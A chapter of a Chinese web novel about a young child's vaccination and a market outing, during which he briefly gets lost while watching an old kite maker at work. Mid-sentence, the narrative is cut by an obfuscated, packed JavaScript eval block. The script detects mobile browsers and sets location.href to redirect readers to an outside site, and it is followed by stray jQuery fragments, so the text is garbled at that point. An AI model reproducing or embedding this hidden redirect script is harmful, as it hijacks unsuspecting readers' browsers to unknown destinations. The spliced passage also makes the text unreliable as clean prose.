到了注射室门口昭昭都懵懵的,他看着护士姨姨掏出了令小孩闻风丧胆嚎啕大哭的神器,小脸顿时变得惊恐,漂亮的眼睛瞪得圆溜。
“谁......谁要打针呀?”小嗓音紧张的磕巴了一下,扭头看向身旁顾知奕。
顾知奕小脸板起,双眼无神,淡淡的语气透着生无可恋:“如果没有猜测的话,应该是打我们俩。”
不是谁要打针,那分明是针打小孩!!
昭昭连忙摆了摆小手:“昭昭没有生病呀,不打!”
生病的人才要打针,吃苦苦的药,他又没有生病,才不打针呢。
说完小手拉住秦澜的衣角求助,仰起白嫩的小脸,眼里带着期盼,试图让她否认:“姨妈对不对?不是昭昭打针啊。”
在昭昭明亮无辜的眼送秋波攻势下,秦澜脸上浮现几分心虚,看天看地,就是不敢看昭昭。
别看秦澜好似温柔,但行事向来有些雷厉风行,一旦碰到不容置疑的事情,就算是顾知奕也不敢扭捏,只得乖乖听话照做。
不过这会儿她伸手抱起昭昭,轻声细语地解释道。
最近京市里流行起来一股流传于儿童间的感染性风寒,轻则咳嗽不断,重则发烧住院。
秦澜身为医生,向来对疾病敏感,一听说可以打疫苗预防,就着手准备带顾知奕来。
昨天在顾家看到严序时也跟他提了一嘴,严序闻言也重视了起来,关系到昭昭的身体健康不敢轻易忽视,但他白天又要上学,就拜托了秦澜一起带昭昭来。
知道爹爹和姨妈是为了自己好,昭昭吸了吸小鼻子,抱着姨妈蹭了蹭,很是乖巧地回道:“昭昭知道辣,昭昭打针啊。”
没想到昭昭这般好哄,秦澜有些喜出望外,手上抱紧怀里的小家伙,满脸疼爱。
顾知奕:“......”
他怎么就没有这样的待遇!
妈妈,他这个好大儿还要吗?
旁边的顾知奕看见他老母亲这副模样,嘟着小嘴巴冷哼哼。
秉持着打不过就加入的原则,顾知奕也贴了上去,秦澜眼底含笑,也将顾知奕揽进怀里。
就这样,在秦澜心虚又心疼的目光下,昭昭和顾知奕一人挨了一针。
昭昭虽然年纪小,但身体一直都很健康,活泼乱跳的,以前生过点小病也就喝过苦苦的汤药,这打针的痛还是第一次体会。
昭昭可怜巴巴的小脸上挂着未干透的泪水,漆黑漂亮的眼珠子湿漉漉,瘪着小嘴巴难受的抽泣。
这下可把秦澜心疼坏了。
要是昭昭大哭大闹还好,这般默默流泪乖巧的模样实在让人心软。
缓过疼来的昭昭抬起小手擦了擦眼泪,疑惑地看向身旁从出来就一直背对着他的顾知奕。
昭昭迈着小步子凑了上去:“知知,你在干嘛啊?”
说罢小脑袋学着他的动作仰头往上看了看,头上除了天花板什么也没有呀。
顾知奕努力仰头,不让昭昭看到他流眼泪的样子,他瘪了瘪嘴唇,嗓音带着难以掩饰的哭腔:“没...没什么。”
“我脖子酸,仰着舒服!”
对,他才没有哭呢!
秦澜借着身高的优势,将顾知奕努力把眼泪憋回去的动作尽收眼底。
昭昭眨巴着眼睛,信以为真:“好吧。”
“扑哧——”
耳边传来秦澜闷闷的笑声,面对自家儿子有些恼怒的小眼神下,秦澜轻咳一声,勉为其难地维护起顾知奕摇摇欲坠的脸面,替他转移了话题。
秦澜抬手揉了揉顾知奕和昭昭的脑袋:“好了好了,妈妈带你们去逛街,你们有没有想要买的东西?”
果然,这话一出两个小家伙的注意力立马落在了街上吃的玩的上,就连胳膊上的酸痛都被忽略了个彻底。
不用秦澜出声催促,昭昭和顾知奕就带着四四开始往外跑。
秦澜脸上笑意就没有落下过,快步跟了上去。
步入初夏,天气晴朗而明亮,湛蓝的天空中分布着朵朵白云,它们或像小山推,或像是团团松软的棉花,或像其他什么形状.....仿佛有一双无形的小手专门将云朵捏成各式各样的形状,又一朵一朵粘在天空上供人欣赏。
金灿灿的阳光偷偷地从云朵缝隙里漏下来,一道道光束直奔生机勃勃的大地万物怀里,在树梢指头或屋檐上形成一块块闪闪的光斑。
京市的集市越发热闹,买卖的物件也越发丰富,吃的喝的玩的,样样不落下,熙熙攘攘,人头攒动。
街边旁茶楼拐角处,一位满头银发的老爷爷守在摊位前,简单支起的摊位上摆放着做工精美的纸鸢,布满老茧的手还在轧制骨架。
三两下的功夫,手中细细的竹条就改头换面,出具纸鸢雏形。
陈老头低头做的认真,眉间因为习惯挤成一道道无法抚平的深壑。
忽然,身旁蹲下来一个白嫩的小娃娃,昭昭小手紧握着糖画,时不时伸出小舌头添一下,一双清澈明亮的眼睛认真地盯着面前老爷爷手上的动作。
陈老头瞥了眼自来熟地就贴过来的小身影,手上动作停顿了片刻,没有吭声,随后又继续做纸鸢。
一老一小紧挨在一起,莫名的和谐,不知道的人还以为是爷孙俩呢。
不知不觉看了一会儿,手中兔子形状的糖画已经被昭昭吃掉了两个兔耳朵,可能是蹲久了,昭昭的小脚开始发麻。
他白嫩的小脸不适地皱了皱,小手撑着膝盖想要站起来,可因为蹲的时间长,还没站稳就不自觉地往旁边扑去。
余光一直留意着他的陈老头心中一惊,赶忙伸手扶着埋头倒下来的小人。
茫然的昭昭反应过来时,小屁股已经稳稳坐在小矮凳上。
这小矮凳是陈老头从自己的屁股底下抽出来的,自己则转身拿了些东西垫在地上坐着。
陈老头本就是个沉默寡言的人,做完一切也没讲一句话,面色平常地拿起纸鸢骨架准备糊纸。
昭昭动了动小屁股,抬头眉眼弯弯地看向面前的陈老头,随后拖着小板凳靠近了几分,小嗓音软乎乎地道起谢来。
“谢谢爷爷啊。”
陈老头见他主动搭话,这才抬了下眼皮看向小家伙,低声“嗯”了下,承了昭昭的感谢。
两人间破冰后,昭昭就憋不住话,开始好奇地问东问西。
“这是什么呀?”
陈老头:“......”有些意外于小孩的自来熟。
“纸鸢,可以放到天上飞,你没玩过?”
昭昭乖乖摇了摇头:“没有,昭昭没有见过。”
青河村的小孩没有人玩纸鸢,就连在县城里都没有见过。
说罢,圆溜溜的眼睛好奇地看向其他已经做好了的纸鸢,那里面有好几种形状各异的纸鸢,颜色也多样。
其中有些图案昭昭在幼稚园学到过,小手指了指:“这个是小燕子吗?”
听到问话,陈老头抽空顺着小手指着的方向看了眼:“是的,挺聪明的哈。”
虽说是仿了展翅高飞的燕子,但绘画的颜色绚烂,线条丰富,像燕子又不似燕子。
见自己没有猜错,昭昭开心地眯起眼睛,肉嘟嘟的脸颊挤出两个可爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999444|166977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的窝窝。
许是因为被昭昭勾起了交谈的欲望,又见昭昭一直好奇地看着他手上动作,陈老头难得来了兴致,主动解释起纸鸢的来源以及制止过程。
昭昭是一个合格的小听众,乖巧地坐在身旁,眼神专注,偶尔讲到精彩处,就举着小手啪啪啪地鼓掌。
到后面陈老头喉咙都干涸了,忍不住拿起一旁的大茶缸库库往嘴里灌了两大口,神态轻松地看向面前的小人,嘿笑一声道:“你这小娃还挺好玩。”
“话说都过来这么久了,你家人怎么还没找过来呢?”
从方才陈老头就发现不对劲,这小儿自顾自的就凑在他身旁,原以为家长是在旁边看着,没成想半天没有人来领小孩。
心想着,陈老头就不免板起脸,这家人可真是不靠谱,上街都不好好牵着小娃,居然让人走丢了。
昭昭闻言,这才发现身边早没了顾知奕的踪影,慢半拍地眨了眨眼睛,小脸呆了几秒后,赶忙把糖画从嘴里抽出来,带着点慌张的小嗓音下意识说道:“知知他们走丢辣。”
他转动着小脑袋,眼睛在人群里翻找起来。
陈老头听了小孩的惊呼,差点儿被逗笑,有些不敢置信地看向眼前的小娃。
这话说的他都听不下去,到底是谁走丢了啊?
见小孩起身,以为对方想要离开,陈老头连忙出手拦住:“你可别乱跑了,在这儿等人来找你,不行的话等会儿我带你去公安局。”
昭昭歪头想了想,这里不是青河村,他找不到回家的路。
“好喔,麻烦爷爷辣。”想通了后,昭昭很是认真地点点头,然后就很自然地把小手塞进陈老头的手里。
陈老头捏住手里细皮嫩肉的小手愣了愣,半响才回过神来,实在没想到昭昭这么快就被说服了,原以为他会大哭大闹呢。
陈老头忍不住瞄了瞄小孩的脸色:“你不担心我是坏人?”
“不呀。”昭昭摇了摇头,软糯糯的小嗓音笃定道:“爷爷好!”
陈老头对这没由来的信任不可置否,心下只觉得小孩被教的太单纯了。
昭昭无辜的眨巴眼睛,也没有办法解释,他能感觉到面前的爷爷对他并没有恶意。
这时,一团毛茸茸的身影扑了过来,昭昭差点被撞倒在地上。
还好陈老头眼疾手快地扶了他一把。
四四嗷嗷叫唤,毛茸茸的狐狸脸难得严肃。
“昭昭!”
紧接着一道充满慌张和惊惧的嗓音在身后响起,昭昭还没反应过来,就被一双手紧紧抱进怀里。
“昭昭你可吓死姨妈了。”找到人后,秦澜紧绷的神经稍稍松懈了下来,声音带着不加掩饰的哭腔,双手止不住的发抖。
身旁跟着的顾知奕也伸出小手紧紧攥着昭昭裤脚,小脸没有表情,不过红彤彤的眼眶昭示着他不安的情绪。
方才秦澜在店里买衣服,他就偷偷领着昭昭出来买糖画。
买糖画的人身边簇拥着好几个小孩,等他买到糖画挤出来时没看见昭昭。
不过他也没有多想,以为昭昭先回去了。
结果等顾知奕回到店里,居然没有看见昭昭,这才意识到不对劲。
幸好四四聪明,不然昭昭就丢了。
被拐走过一次的顾知奕心里害怕极了,眼泪啪啪往下掉。
小脑袋埋在来人的怀里,闻着熟悉的味道,昭昭被抱起时就认出了秦澜,他乖乖地窝在怀里没有挣扎。
忽地,几滴冰冰凉凉的眼泪落在昭昭脖颈处,意识到姨妈在哭,他小眉头拧了拧,小脸不安的紧绷起来。